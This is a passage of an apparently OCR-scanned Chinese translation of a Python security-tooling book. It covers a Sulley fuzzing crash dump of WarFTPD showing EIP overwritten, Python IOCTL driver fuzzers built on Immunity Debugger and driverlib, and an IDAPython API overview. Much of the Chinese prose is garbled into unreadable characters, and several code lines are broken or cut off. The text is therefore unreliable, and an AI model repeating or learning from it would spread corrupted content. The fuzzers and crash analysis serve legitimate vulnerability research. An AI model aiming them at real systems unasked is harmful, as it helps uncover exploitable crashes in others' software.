Figure 9-2: Sulley web 5T B/l HIR{E R

IR, Nz AER I BATE LM Crash T WarFTPD, Sulley A4 5] T Frfg 1%
A5 S o FATTAE 0P8 AN 8 (0 At 5 B A AN e S 2 0xSc5e5e5e X AMHitik . 0x5c
JE ASCILF4F\, X2 W TAAENPNERE 2, Ei TN AAAX R, RHEIXZmE] EIP. 4
PR A 226 g EIP 45 ) (A7 B I, 545 2RI, PRA 0x5c5ce5¢5¢ ANJE— AN 20
b XEWREAMIC LR EIP T, 4 FRBUZ IR exploit 7! Bz 2 mafmf, wf
OEIRAZ ATt AaIE s o A TR OO I, FRATN Sulley 1 TAE T &R
KT, XTI fuzzing X G BT 2 PUHAT T . Good Luck!

IUAE i test case MIELY:, WS FEBIVEAI A DHE . Wk 9-3

PyDbg fif i {5 5 A% 2UAE 60 LUy il B A BEAR P i A PRGN I UFE . Sl (PR R 25
Fo

[INVALID]:5¢5c5¢5¢ Unable to disassemble at Sc5c5c5c from thread 252
caused access violation

when attempting to read from 0x5c5c5c5c¢

CONTEXT DUMP
EIP: 5c5¢5¢5¢ Unable to disassemble at Sc5¢5¢5c¢
EAX: 00000001 ( 1) ->N/A
EBX: 5f4a9358 (1598722904) -> N/A
ECX: 00000001 ( 1) ->N/A
EDX: 00000000 ( 0) ->N/A
EDI: 00000111 ( 273) > N/A

ESI: 00826410 ( 9069808) -> PC (heap)

EBP: 00a6fb9c ( 10943388) -> BXJ 'CD@U=@_@N=@_@NsA_@NOGrA_@N*A 0 C@
CtN]_@_ 0 C@N (stack)

ESP: 00a6fb44 ( 10943300) => ,,,,,.s555509s5,  CHEr User from

192.168.244.128 logged out (stack)

+00: 5¢5¢5¢5¢ (741092396) -> N/A

+04: 5¢5¢5¢5¢ (741092396) -> N/A

+08: 5¢5¢5¢5¢ (741092396) -> N/A

+0c: 5¢5¢5¢5¢ (1 741092396) -> N/A

+10: 20205¢5¢ ( 538979372) -=> N/A

+14: 72746€63 (1920233059) -> N/A

disasm around:



0x5c5c5¢5¢ Unable to disassemble

stack unwind:

war-ftpd.exe:0042e6fa

MFC42.DLL:5f403d0e

MFC42.DLL:5f417247

MFC42.DLL:5f412adb

MFC42.DLL:5f401bfd

MFC42.DLL:5f401blc

MFC42.DLL:5f401a96

MFC42.DLL:5f401a20

MFC42.DLL:5f4019ca

USER32.d11:77d48709

USER32.d11:77d487¢b

USER32.d11:77d489a5

USER32.d11:77d4bccc

MFC42.DLL:5f40116f

SEH unwind:

00a6fct4 -> war-ftpd.exe:0042e38c mov eax,0x43e548
00a6fd84 -> MFC42.DLL:5f41ccfa mov eax,0x5f4be868
00a6fdcc -~ MFC42.DLL:5f41¢cc85 mov eax,0x5f4be6c0
00a6fe5c -> MFC42.DLL:5f41cc4d mov eax,0x5f4be3d8
00a6febc -> USER32.d11:77d70494 push ebp

00a6ff74 -> USER32.d11:77d70494 push ebp

00a6ffad4 -> MFC42.DLL:5f424364 mov eax,0x5f4c23b0
00a6ffdc -> MSVCRT.dIl:77¢35¢94 push ebp

Tttt -> kernel32.d11:7¢839913 push ebp

Listing 9-3:#437 WA F=AERBRER

Sulley )32 LIRSS T o ARSI AP — &7, IR Z IR Z AP,
HEAAL Y, LV, s s v, primitives (IEIEALH Y, 5555, M4
PUR, Sulley AFHE—SKnl A AIPED), 2 AT bug-hunging I RIAIES o AEHATT 8 158 &
TIEREMRAS I fuzz UG, 45T RARIAT fuzz ALK Windows I SRS 7, XA A

T A,

Fuzzing Windows HXZJ]

%t hacker K1}, Bt Windows ZXSIFE )T LA Tk,



M, BB O R B, T an -4 X Eh IR TR ek 2 1 T
A HIARAN  7E BT T BAT 145 ] Sulley #% H 7 WarFTPD (%33 H I

WarFTPD 7E FEHLAS b — N2 R P a8, BAIfEEfE ez G, maike—N
ZBRAAL IR, IX AR — AR/, RAL T, IR 25 B TCVE 3R, 1R 2 IR 25 #0 [n) AS
T o WRKIERAIIIE — N AHIKE ) exploit, ASHLREMIGARIL T B RS, you are
god now!

IKAHE NAZB Mg AT, AR P B N7, A TERR B 2 AT AL
T, AR IOCTLs Cinput/output controls ). >4 IOCTLs AbHEACRLAG n) G ) I, FRAT T8k
REFH B3R IR AR

ROk, BATE SCEAS T Wl i@t 523 IOCTLs SRANAHL P e 44 B TR, IF H 22K
i i} Immunity 25/ I0CTLs £t . R 5, 2224 H] Immunity $2451 driverlib 2 3REUIKEN{H
B LB — AN i I R BRSSO g it B (4 iR, Wk 44, F1 IOCTL AR . i
Ja N drivelib 3845 (1) £ fa gt MR 2t , A H joctlizer (F5 [1)—NIKEN fuzzer) #H4T—IK

driver fuzz.

10.1  IXzhiEfE

JLT-EENE Windows EVENE T AOSRBIRE P HAT — AN BER A A — AT S8R . A1 B
(IRE Py RE WS IR 77 5 HERRSRAF KN (R 0, SRS A IS U R ATSR S AT IR 2R« R A4 el Kt
T

HANDLE WINAPI CreateFileW(
LPCTSTR IpFileName,
DWORD  dwDesiredAccess,
DWORD  dwShareMode,
LPSECURITY_ ATTRIBUTES IpSecurityAttribute
DWORD  dwCreationDisposition,
DWORD  dwFlagsAndAttributes,
HANDLE hTemplateFile

BN, WE MR &4, IXBIHE HARIKEI AT 51%E#: . dwDesiredAccess
Forvria) J 3, wElE S (Af IR S, A PIAELAE ), GENERIC_READ (0x80000000)
2, GENERIC_ WRITE (0x40000000)% . dwShareMode iX . %' i 0, F/”7E CreateFileW
RAJF Hz KW TR )G, A Revi il £ . IpSecurityAttributes 1% & % NULL, R/l
BN 22 /#MR T, J H AR R4k 7K . dwCreationDisposition 2 £ % B 1k
OPEN_EXISTING (0x3), /xR B/ Ir, HRERE R . &amASS 56
FALR B E B NULL .

2 CreateFileW [ iR [Bl — NG AW 2 J5, FeAlTut 58 1# H] DeviceloControl ( (
kernel32.dll FH) f&iE— IOCTL 45445 o



BOOL WINAPI DeviceloControl(
HANDLE hDevice,
DWORD dwloControlCode,
LPVOID IpInBuffer,
DWORD nInBufferSize,
LPVOID IpOutBuffer,
DWORD nOutBufferSize,
LPDWORD IpBytesReturned,
LPOVERLAPPED IpOverlapped

9 —/~Z4th CreateFileW J& [F] (1) 7 4§ . dwloControlCode & B A% 45 ¥ 4% )i 8 1)
IOCTL Ui, XA e 7 AKsh T A A Difg. 240 IpInBuffer 4 1) — 22X, £
O TR AR 25 DK ) BB XA G XS AT S TR AR T, fuzz B AR AR I,
nInBufferSize A& 25 AN 22 P X 1) K/ o IpOutBuffer 1 IpOutBufferSize, FIHI M ~Z
B—HE, AT ECEREIR A . IpBytesReturned Sk DK 5 SR I8 [F] (1 £l 4 (1) 4 %
B Ja— NS HR LI S % NULL .

IAER I IAS T, RENZARAE T, 8 F R FATH Immunity, H]'& Hook
¥ DeviceloControl 48 J5 A2 JEHI N ZE 1P X N I 4l , )5 fuzzing every driver.

10.2 A Immunity fuzzing JX7jj

BFATTFEAEH Immunity 55 K DhRE, 8 DeviceloControl PR EL, 7E£H 2L H
FRIXENZ B/, #EREA], XuiE AT Driver Fuzzing [F3&AH . W R—P)0R], & )5 nl LK —
L85 TAES t B304k %) PyCommand, FATHRZEEHZREFH Immunity 56 8% —P) TAE: #3k
DeviceloControl, AZJEZEM X Ed, sl AT R, FhlBg e s HbrfeE v . Z BT LAZEXT
B Tid sk, SRR RRIRIN fuzzing #0255 RS F 0, 1M ic s ] LLSE b 04 J5UA 15t
N A3 PR A

fon BRAZAE A CRIPLE LTS8 . BRARRAR W BB B, R, a2
PEREARAS I A 5, e L RO, JRATIE AT LU T RN, BOARE AR AE S S i 2 4y
ARG, AN RXA] HE AR A AR

TR . B —> Python A ioctl_fuzzer.py.

#ioctl_fuzzer.py

import struct

import random

from immlib import *

class ioctl_hook( LogBpHook ):



def init (self):
self.imm = Debugger()
self.logfile = "C:\ioctl log.txt"
LogBpHook. init ('self)
def run( self, regs ):
We use the following offsets from the ESP register
to trap the arguments to DeviceloControl:
ESP+4 -> hDevice

ESP+8 -> loControlCode
ESP+C -> InBuffer
ESP+10 -> InBufferSize
ESP+14 -> OutBuffer
ESP+18 -> OutBufferSize
ESP+1C -> pBytesReturned
ESP+20 -> pOverlapped
in_buf=""
# read the IOCTL code ioctl code = self.imm.readLong( regs['ESP'] + 8 )
# read out the InBufferSize inbuffer size = self.imm.readLong( regs['ESP'] + 0x10 )
# now we find the buffer in memory to mutate inbuffer ptr =

self.imm.readLong( regs['ESP'] + 0xC )

# grab the original buffer

in_buffer = self.imm.readMemory( inbuffer ptr, inbuffer size ) mutated_buffer
self.mutate( inbuffer size )

# write the mutated buffer into memory self.imm.writeMemory( inbuffer ptr,
mutated_buffer )

# save the test case to file

self.save test case( ioctl code, inbuffer size, in_buffer,
mutated_buffer )

def mutate( self, inbuffer_size ):

counter =0

mutated_buffer =""

# We are simply going to mutate the buffer with random bytes
while counter < inbuffer size:
mutated_buffer += struct.pack( "H", random.randint(0, 255) )[0]
counter += 1

return mutated_buffer
def save test case( self, ioctl code,inbuffer size, in_buffer,
mutated_buffer ):

message = "¥FF¥*FF\n"



message += "IOCTL Code: 0x%08x\n" % ioctl_code
message += "Buffer Size: %d\n" % inbuffer size
message += "Original Buffer: %s\n" % in_buffer

message += "Mutated Buffer: %s\n" % mutated buffer.encode("HEX")
message += "*¥****¥\n\n"
fd = open( self.logfile, "a" )
fd.write( message )
fd.close()

def main(args):
imm = Debugger()
deviceiocontrol = imm.getAddress( "kernel32.DeviceloControl" )
ioctl_hooker = ioctl_hook()
ioctl hooker.add( "%08x" % deviceiocontrol, deviceiocontrol )
return "[*] IOCTL Fuzzer Ready for Action!"

XA H ZMEAT T ) Immunity Z19R,  JUE487K T LogBpHook 28, 0 7 R/MIY™ RE,
XA R T Vi . A AEETEWT ] T, WoRSRAHE IS L IS K TOCT 4R
i, BN XACTE, BN X AL o A W AR AR, A — AN T BE R
TFRAF X, KERBAGZ M X —FF o Z JaREHr gz v X 8 5 N R G2 X, PRAFINA
FEB o d R IS I 25 A RE T o

3 ioctl fuzzer.py JZ %] PyCommands H3x & o IXFEFRATH A ioctl fuzzer fiv 4>
fuzz fETAE ] IOCTLs T HIRES Y (WLARER, B khS, sl Rt ). & 10-1 & Wireshark
1 fuzz 55 .

sheoskoskoskok

IOCTL Code: 0x00120003

Buffer Size: 36

Original Buffer:
0000000000000000000100000001000000000000000000000000000000000000
Mutated Buffer:
a4100338{1334753457078100f78bde62cdc872747482a51375db5aa2255¢c46¢e

shoskoskoskok

shoskoskoskok

IOCTL Code: 0x00001ef0
Buffer Size: 4

Original Buffer: 28010000
Mutated Buffer: abl12d7e6

seoskoskoskok

Listing 10-1: Wireshark ['] fuzzing %1



TEFATTHs — KHEM DL R A a5 B #8 2 5, A6 T K3 T P> ] H () TIOCTL 4K i
0x00001ef0 1 0x0012003 o 4 R EEARLEMNR, w200 W K HH 2 B8R (1) Wireshark E4T
ACH., IXFE Wireshark 8231 FHANA IOCTL ACRY, &5 446 L aig ik Horp—4> IOCTL AL BEAR
15 A A it o

BARIEAEAR TR 5, WA SRS $ T . Aib e RAEER T . 2840001, A IEA R
T8 IF4E fuzzing [N 444, (Adnf L@t hook CreateFileW, A 5 M %24 DeviceloControl
EH TR, MR R4 4, 1 H fuzz ) IOCTL ARSI 4, FRATEH B
SRR AT A R A BRI, IXFERE AT IR S D e T R R . XA IE S TR
ATIAAE IR — N SEINBE B I fuzzer, & HEXS FTA ) IOCTL ANHIBTH fuzzing, ELEIR KA
AT, BUE X Z AT R AN Il

XATREN, ATRE, e ANERATH KR Immunity #5417 /%) driverlib PETT UG . # 1] driverlib 3
TITREA S W BK B FE 7 T A 1% £ 44 F1 TOCTL AXHS . X e 48 Ak SRt RE % s — AN =24
ST, A BENI fuzzer T, 1% 02— M KM, SO0, AMECEF 7S N . Let” s get cracking.

10.3.1 R H &% 4%

H Immunity N #) driverlib FEE H & AR . 1EIRATEF driverlib & /B4 SEILX
ANTIRET o

def getDeviceNames( self ):
string_list = self.imm.getReferencedStrings( self.module.getCodebase() )

for entry in string_list:
if "\Device\\" in entry[2]:
self.imm.log( "Possible match at address: 0x%08x" % entry[0], address =
entry[0] )
self.deviceNames.append( entry[2].split("\"")[1] )
self.imm.log("Possible device names: %s" % self.deviceNames)

return self.deviceNames

Listing 10-2: driverlib FE$k HH % % 4 B 7 vk

AR RIS T A s H TR, FRE A T MDevice\" (. X I
Al RGBSR P M T R e, ISRk BN R R . BRAT Al
C:\WINDOWS\System32\beep.sys M LL N EH . LA FERAEASLE Immunity HHiEfT,

*#* Immunity Debugger Python Shell v0.1 ***
Immlib instanciated as 'imm' PyObject
READY.

>>> import driverlib

>>> driver = driverlib.Driver()



>>> driver.getDeviceNames()
[\\Device\\Beep']
>>>

PATAR a7 s A ] = AT AR e 4R 2] T — AN AT H 1915 4% 44 \\Device\\Beep,iX 44 2 T 3 A1 118
iR G —ATAT A ARARAS (B 1] o Simple is Beautiful ! [HIF& & driverlib J& 41 £ #k IOCTL
dispatch function (IOCTL /£ &%) F1 10 IOCTL codes ( IOCTL AR1E) i,

ATAT YK B SE B IOCTL #5211, #0204 — > IOCTL dispatch 1 57 Ab B 45 F IOCTL i K.
MR AN N BT IS, 55— U5 In) (1 R 20k & DriverEntry. DriverEntry [#) 3 ZAELL U1

NTSTATUS DriverEntry(IN PDRIVER OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
UNICODE_STRING uDeviceName;
UNICODE_STRING uDeviceSymlink;
PDEVICE_ OBIJECT gDeviceObject;
RtlInitUnicodeString( &uDeviceName, L"\\Device\\GrayHat" );
RtlInitUnicodeString( &uDeviceSymlink, L"\\DosDevices\\GrayHat" )
// Register the device
IoCreateDevice( DriverObject, 0, &uDeviceName, FILE DEVICE NETWORK, 0, FALSE,
&gDeviceObject );
/I We access the driver through its symlink
IoCreateSymbolicLink(&uDeviceSymlink, &uDeviceName);
// Setup function pointers
DriverObject->MajorFunction[IRP. MJ DEVICE CONTROL] = IOCTLDispatch;

DriverObject->DriverUnload = DriverUnloadCallbac
DriverObject->MajorFunction[IRP_MJ CREATE] = DriverCreateCloseCa
DriverObject->MajorFunction[IRP_ MJ CLOSE] = DriverCreateCloseCa

return STATUS SUCCESS;

Listing 10-3: DriverEntry /] C JF#55EI

K ANARH LA DriverEntry AURSHESE, (HOZAR WU W] T B0 &2 i w14 e .
FERNAZRAT:

DriverObject->MajorFunction[[RP. MJ DEVICE CONTROL] = IOCTLDispatch

XAT 5 /N 9K 5 %% IOCTLDispatch 7157 T4 IOCTL i3k . 24— NIKBh 88 4m 52 i, X
AT R (I G O ARAS

mov dword ptr [REG+70h], CONSTANT



XFE A HEFH KA L7k, REG 1 CONSTANT #B4& 7 4mAtiY, I0CTLDispatch $54F#+
Wi A7 it £ (REG) AL #% 0x70 [ M 7 Lo Al X SR 4, FATHt Ak #k th 10CTL 4k BEAR A5
CONSTANT, {3t /& IOCTLDispatch, 45 WK H IOCTL A% . driverlib [ H A4 SK
b/ N/ I

def getlOCTLDispatch( self ):
search pattern = "MOV DWORD PTR [R32+70],CONST"

dispatch_address = self.imm.searchCommandsOnModule( self.module
.getCodebase(), search_pattern )

# We have to weed out some possible bad matches
for address in dispatch address:

instruction = self.imm.disasm( address[0] )

if "MOV DWORD PTR" in instruction.getResult():
if "+70" in instruction.getResult():
self.IOCTLDispatchFunctionAddress = instruction.getImmConst()
self.IOCTLDispatchFunction =
self.imm.getFunction( self.IOCTLDispatchFunctio
break
# return a Function object if successful
return self. IOCTLDispatchFunction

Listing 10-4: #:H IOCTL dispatch function ] /57%

BB Immunity 84T 55— PSR BAR RN ik, AR, — B RATTHR R
TEIERREL R B ZIR B], 785 T IOCTL AU &k ok < e .
NIEPRFEF TOCTL dispatch [ p& HOZ WS, DAL B4 H BT A7 ) TOCTL A

10.3.3# 1 IOCTL A4

IOCTL dispatch 445 N (KB (15 42 IOCTL AR PATAH N I o X2 TR T T 7
F AR BT IOCTL B A, K IOCTL A 24 1 B R AR e 8. k34T
SeE— B C SEILR IOCTL dispatch, 2 JHATRIC e A1, FEMHHH IOCTL 48,

NTSTATUS IOCTLDispatch( IN PDEVICE OBJECT DeviceObject, IN PIRP Irp )
{

ULONG FunctionCode;

PIO_STACK_LOCATION IrpSp;

// Setup code to get the request initialized



IrpSp = IoGetCurrentlrpStackLocation(Irp); FunctionCode =
IrpSp->Parameters.DeviceloControl.IoControlCode;
// Once the IOCTL code has been determined, perform a
// specific action
switch(FunctionCode)

case 0x1337:
/I ... Perform action A
case 0x1338:
/I ... Perform action B
case 0x1339:
/I ... Perform action C
H
Irp->loStatus.Status = STATUS SUCCESS;
IoCompleteRequest( Irp, IO NO_INCREMENT );
return STATUS SUCCESS;
H
Listing 10-5: — Bt f&j ¥ ) IOCTL dispatch %2 3 £ = # IOCTL 4% 5 (0x13370x1338,
0x1339)

AU TOCTL 15 3K AR B IOCTL ARMS IR I, SR AR AL 34 switch {} 1A, 2R
JE AR TOCTL ACRSHATAH N (R34 . switch 1EAJZEN 2 5 A3 T Be & LA R mifh g .

// Series of CMP statements against a constant

CMP DWORD PTR SS:[EBP-48], 1339 # Test for 0x1339

JE 0xSOMEADDRESS # Jump to 0x1339 action
CMP DWORD PTR SS:[EBP-48], 1338 # Test for 0x1338

JE 0OxSOMEADDRESS

CMP DWORD PTR SS:[EBP-48], 1337 # Test for 0x1337

JE 0OxSOMEADDRESS

// Series of SUB instructions decrementing the IOCTL code

MOV ESI, DWORD PTR DS:[ESI + C] # Store the IOCTL code in ESI
SUB ESI, 1337 # Test for 0x1337

JE 0xSOMEADDRESS # Jump to 0x1337 action
SUB ESI, 1 # Test for 0x1338

JE 0xSOMEADDRESS # Jump to 0x1338 action
SUB ESI, 1 # Test for 0x1339

JE 0xSOMEADDRESS # Jump to 0x1339 action

Listing 10-6: PP AR switch{} R IC 95

switch{} HJRICSiTELAREF, AL I stE L. 5ol b, &
TR A I — 2851 () CMP $5-4, $RBIBEAT LEACH B, 1K 28t IOCTL A . 25 —Fb i
DL, FEME R, E i — RV SUB $R2H S Bb S . KB — AT T



SUB ESI, 1337

K—ATEVF T 3AT, /MY IOCTL A2 0x1337. X IFAG, 0x1337 /EA—
W, BT SUB f 202 2 /0, TRemin b2 />, &FUohn H SR BT A AE ) —AN B IOCTL
. AW EI, HH switch 5. HARSLILAT LLE Immunity H 3% T Libs\driverlib.py.
A9 A sh AL HE H T IOCTL dispatch AT 45 ) IOCTL codes.

BLAE driverlib I 58K T Bl fe BTG . 8 R gt ] driverlib
FARIX SRS 7 oh A7 1) B 46 44 1 IOCTL AR, I HoRe &5 RAORAF 2 Python pickle 1. Fe H
‘EAIME IOCTL fuzzer. Let’ s get fuzzy!

10.4 ¥J%E Driver Fuzzer

5 AE5E i PyCommand:IOCTL-dump.

#ioctl_dump.py
import pickle
import driverlib
from immlib import *
def main( args ):
ioctl list =[]
device_list =]
imm = Debugger()
driver = driverlib.Driver()
# Grab the list of IOCTL codes and device names
ioctl list = driver.getlOCTLCodes()
if not len(ioctl list):
return "[*] ERROR! Couldn't find any IOCTL codes."
device_list = driver.getDeviceNames()
if not len(device list):
return "[*] ERROR! Couldn't find any device names."
# Now create a keyed dictionary and pickle it to a file
master list = {}
master list["ioctl_list"] =ioctl list
master_list["device list"] = device list
filename = "%s.fuzz" % imm.getDebuggedName()
fd = open( filename, "wb" )
pickle.dump( master_list, fd )
fd.close()
return "[*] SUCCESS! Saved IOCTL codes and device names to %s" % filename

XA~ PyCommand #H 8 #L: K2R IOCTL ARIGF1%R, KRE&HIIR, BANIERF
i, SRIGIRAARISCH T . R RERAT AR Immunity Fay2 AT TR BTN lioctl dump,



pickle XAFBE & AR A7 2] Immunity H % R
J7 2% UK fuzzer. $2 TRk /2 coding and coding, FATTSZILAIIXAS fuzzer #40)5E FH
FRAI7E N AFER NG X s, A R Z IR S 1.

#my_ioctl_fuzzer.py
import pickle
import sys
import random
from ctypes import *
kernel32 = windll.kernel32
# Defines for Win32 API Calls
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING =0x3
# Open the pickle and retrieve the dictionary
fd = open(sys.argv[1], "rb")
master list = pickle.load(fd)
ioctl_list =master list["ioctl list"]
device list = master list["device list"]
fd.close()
# Now test that we can retrieve valid handles to all
# device names, any that don't pass we remove from our test cases
valid_devices = [] for device name in device list:
# Make sure the device is accessed properly
device file = u"™\\.\\%s" % device name.split("\\")[::-1][0]
print "[*] Testing for device: %s" % device file
driver _handle =
kernel32.CreateFileW(device file, GENERIC READGENERIC WRITE,0,None,OPEN_EXISTI
NG,0,None)
if driver_handle:

print "[*] Success! %s is a valid device!"
if device file not in valid_devices:
valid_devices.append( device file )

kernel32.CloseHandle( driver handle )
else:
print "[*] Failed! %s NOT a valid device."
if not len(valid_devices):
print "[*] No valid devices found. Exiting..."
sys.exit(0)
# Now let's begin feeding the driver test cases until we can't be
# it anymore! CTRL-C to exit the loop and stop fuzzing
while 1:



# Open the log file first

fd = open("my _ioctl fuzzer.log","a")

# Pick a random device name current device = valid devices[random.randint(0,
len(valid_devices)-1)]

fd.write("[*] Fuzzing: %s\n" % current_device)

# Pick a random IOCTL code current_ioctl = ioctl list[random.randint(0,
len(ioctl_list)-1)]

fd.write("[*] With IOCTL: 0x%08x\n" % current_ioctl)

# Choose a random length current length = random.randint(0, 10000)

fd.write("[*] Buffer length: %d\n" % current_length)

# Let's test with a buffer of repeating As

# Feel free to create your own test cases here

in_buffer ="A" * current_length

# Give the IOCTL run an out_buffer

out buf = (c_char * current_length)()

bytes returned =c_ulong(current length)

# Obtain a handle

driver_handle = kernel32.CreateFileW(device _file,

GENERIC_READI|GENERIC_ WRITE,0,None,OPEN_EXISTING,0,None)
fd.write("!'FUZZ!\n")
# Run the test case
kernel32.DeviceloControl(  driver_handle, current ioctl, in buffer, current length,
byref(out buf), current_length, byref(bytes returned), None )
fd.write( "[*] Test case finished. %d bytes returned.\n\n" % bytes returned.value )

# Close the handle and carry on!
kernel32.CloseHandle( driver handle )
fd.close()

JE M pickle SCAFHHCH AL IOCTL AT RN £ 44 (1) - i o A ZR 4k H BE A 3R A5 R AW
R4 . WRTCIEIRE, MR T B . BAAEHUIEI —/ Nk &4 A IOCTL 4805, 4l
NP TR . B IOCTL KIE4 3K .

A N iy 2 AT fuzzing.

C:\>python.exe my_ioctl fuzzer.py i2omgmt.sys.fuzz

W5 fuzzer crash T HLEY, FATHEWEIRAER FIIRAG R IE) IOCTL RS . H24 wld 1A 1 OK
BT . 3 10-7 BoRIEE — N AR ARSI fuzzing L .

[*] Fuzzing: \\.\unnamed
[*] With IOCTL: 0x84002019



[*] Buffer length: 3277
NFUZZ!!

[*] Test case finished. 3277 bytes returned.

[*] Fuzzing: \\.\unnamed

[*] With IOCTL: 0x84002020

[*] Buffer length: 2137

NFUZZ!!

[*] Test case finished. 1 bytes returned.
[*] Fuzzing: \\.\unnamed

[*] With IOCTL: 0x84002016

[*] Buffer length: 1097

NFUZZ!!

[*] Test case finished. 1097 bytes returned.

[*] Fuzzing: \\.\unnamed

[*] With IOCTL: 0x8400201c¢
[*] Buffer length: 9366
NFUZZ!!

Listing 10-7: —X)%Ih ) fuzzing i3

e IRIG 2 E S, — IOCTL, 0x8400201c 51k T &4 mut, X Ef)a—54%
il HEGNIERRATH fuzzer 1R 1A 5, (HJRARESS, Al LUEREASWKY EIhRE, flie 5am K.
Hp—ANATRER 71 &, ¥4 InBufferLength 5% OutBufferLength 2> %15 & B A 5L frfe A

RO KR — k. TPk 2 e, w11 destroy all drivers in your

path!

fRl A

11

IDAPYTHON———IDA

IDA Pro(iij 5 >4 Iifak Guilfanov) L H 38 K % 5 0 Hr Th k24
MBS A N TR EE. ibRIMCSEER G,

Hex-Rays SA (i 8- 2E/R). DA W14 DR RS HOT 6 BT, Ak



e e, RISt T AW ERIAES . IDA 9 R RE ) ot 3L s oK 1),
$4L T IDC(IDA IR IATE 7)1 SDK(LETF R # 4 &7 {# IDA 4difT).
2004 4F Gergely F11 Ero Carrera 71 & T IDAPython fiftf:, # 5 K ¥ Python Al IDA 45 & i
K, LA A B AT AR AT R R . If 414 IDAPython #) V2 I H 145 B is Mk =
(Zynamics ] BinNavi) Al JFJi T.F& ( PaiMei A1 PyEm) W, 1X—%, LAJEHE S
IDAPython(LL IDA Pro 5.2 24 HAR) ) %2 LUK FEEL R pR B 5 o Jl o JLAM ] SR ]
HE— 8% IDA B HT.

11.1 ‘Z%% IDAPython

M http://idapython.googlecode.com/files/idapython-1.0.0.zip " ZFA 175 2 10 4 fd . iX A
FRAS e A B, UK K %23 idapython-1.2.0 ida5.4 py2.5 win32.zip HIRRAS, JIXANFAS M 7] LA
T idas.5.

GG MRRAE, %3 H S N python SCAEYE, ZHIE] IDA Hwede Ha F CBRIN Y
C:\Program Files\IDA), ¥ plugins H =% T python.plw & %] IDA (1] plugins H % F CERIA K
C:\Program Files\IDA\plugins.).

B IREN IDA, BRI — N PAT SO, — BRI SE R, o IR B
H A& £ f T IDAPython ME B, /S AN I SCHF IR 2 AL I . sl 11-1.

Loading IDP module CisProgram FileshsIDawprocshpc.w3z for processor metapc...0k
Loading type libraries...

Autoanalysis subsystem has been initialdized.
Database for Tile 'calc.exe' is loaded.

Campiling file "Z:“Program Files“IDANidcwida.ido'...
Executing function 'main'...

IDAPwLhOR wersion 1.0.0 final (serial 001 initialized
Pywthon interpreter wersion 2.5.2 Tinal (serial 0]

al: idle Down  |Disk: 9GE |

Figure 11-1: IDAPython /%3232 J5 i) IDA Pro H¥I#4LME &

FESCAF AR o B2 AN IE T, Wl 11-2

= Open...

Load file L4
Broduce file L4

IDC file...

IDC command... Shift+F2
Python file... Alt+9
Python cornmand... Alt+8

I save Ctrl+W
Save as...

Close




Figure 11-2: IDAPython B2 %355 /) DA Pro U3

FEAS B LIS 3] /& Python file A1 Python command, #HEELIZELF T WRAEEHAT
—ANE LR Python 4, H Z il Python command &0, i< HEL—ANE 1, AW 25,
2y IDA R4 % 1 R B R 45 K . Python file &5 H T $0AT A7 1) IDAPython JHIA, X4
SEIXTEEE A M. 56 IDAPython L& I ede, HHIEHR T/E, # FRibEANTH
% F ) DAPython pR%(.

11.2 IDAPython %%

IDAPython REW% s 7] BT A 1) IDC R EL FATHAH-—22 1 [ 3, 2 J5 1 IDAPython
PEUA 2 B AE A . IDC B IEA 100 2N RE, A D4R ] LF SRS .

11.2.1 % FH R

DL 1) B 2 A 20 5 AR PRI 2 T 201

ScreenEA()
FRE IDA IR A, ehRdR AR bk o JERL XA R E, AT Tk BES N —A 240
() s AT FAT T AR

GetInputFileM])SO

IR [E] IDA INA ) — 2B B SCAFK) MDS R, 38 13X AME GEW I — A SCEF IO AS R RRCAS 2 75
L EE

11.2.2 B

76 IDA 1 Z BRI 4y 1 T AR B, IX S8 BRI Th e 70 il T AN 19257 ( CODE,
DATA, BSS, STACK, CONST,XTRN). UL FHIEEH T 003158 FhBefs5 EL .

FirstSeg()
VTR R — AN B

NextSeg()
Pt B WERBEAT IR [F] BADADDR.

SegByName( string SegmentName )
I B IR A B, 2807, QR text AR S o iR IR P ARRS B 1R 46

(A

SegEnd( long Address )



LB A A L, SRAF B R B AL

SegStart( long Address )
I BN I FEA kR, SRAG B Sk ik

SegName( long Address )
I B A A, SRAFE A

Segments()
IR [A] H AR P T BRI AR L

11.2.3 K3

PP UT IR R P P I BT AT BR B A8 PR BT, 2 B S R rh 2 20 W R PR o A 1 T
{14 b o0 T A B R BCIE R A

Functions( long StartAddress, long EndAddress )
RAl—ANF2, A5 T M StartAddress 1] EndAddress 2 [A] [ BT A5 BRI AL

Chunks( long FunctionAddress )
R[G5 TREUT B B PIRIA E— 1 c4l (chunk start, chunk end)

LocByName( string FunctionName )
T8 o R A A R 0] e Y M

GetFuncOffset( long Address )
AT RN, AR5 A5 2K AN kT I 1 RR E A DL K & S i eR 5 ARG AL S
SRR AR LA B B A H LA AR R R (]

GetFunctionName( long Address )
ML — ANk, R [EEXA P JE e AL

11.2.4 3 X 5| F

P AR AN B 1922 X5 T AE 23T ST I PAT R I AR T2, JEIL 2 JA 1 Mg
RS ER I, B H ARG P AT 2 IR — A ARBE b8, XM N T4 IDA
MRAR2 1l A 0 ) R 58 ) J5U K. IDAPython S48 T — KM & BT T & A2 X 51 B
HIR 2 1T LRk



CodeRefsTo( long Address, bool Flow )
R —AFIEE, HIFAT Address ARG HAT 21751 T, Flow 5 Vf IDAPython & 75 %2
PREZIX LA

CodeRefsFrom( long Address, bool Flow )
RE—ANFE, HUFERAT Address Hubik b ACHS 5 | AT AL B ACHS o

DataRefsTo( long Address )
RN, HURIERAT Address ALEHE AT AT 5 T o W T ER 42 R AR

DataRefsFrom( long Address )
RIA—NFR, S RIRAT Address bk F AR 5 | FH ] b o) F s

11.2.5 Debugger Hooks

Debugger Hook & IDAPython $#& 4t (1) 55— MR EE M LIEE, H T Hook A IDA P
Ry, R ACEE AR g . B IDA — A H T ES, HE A THFES IR
i, WH IDA WSR2 A e LEAMB I S TR 2 . 2 JFIRATSH debugger hooks £l —
MRS 5K e ik T . 1] debugger hook 2 I, JEEEIE /K —— hook 28R J5 7E S HL 3k
JE U TR AN R 1) b 2 bR 4

class DbgHook(DBG Hooks):
# Event handler for when the process starts
def dbg process_start(self, pid, tid, ea, name, base, size)
return
# Event handler for process exit
def dbg process_exit(self, pid, tid, ea, code):

return

# Event handler for when a shared library gets loaded

def dbg_library load(self, pid, tid, ea, name, base, size):
return

# Breakpoint handler

def dbg_bpt(self, tid, ea):

return

AR T A G BUAAIN, 22805 HI B LA SR AC B R 2. 222 hook
75 3k

debugger = DbgHook()
debugger.hook()



PAEIZAT I A%, hook A PE T A MR, XAEL R AR ORI 42 IDA {44
I TR RS T T IR A
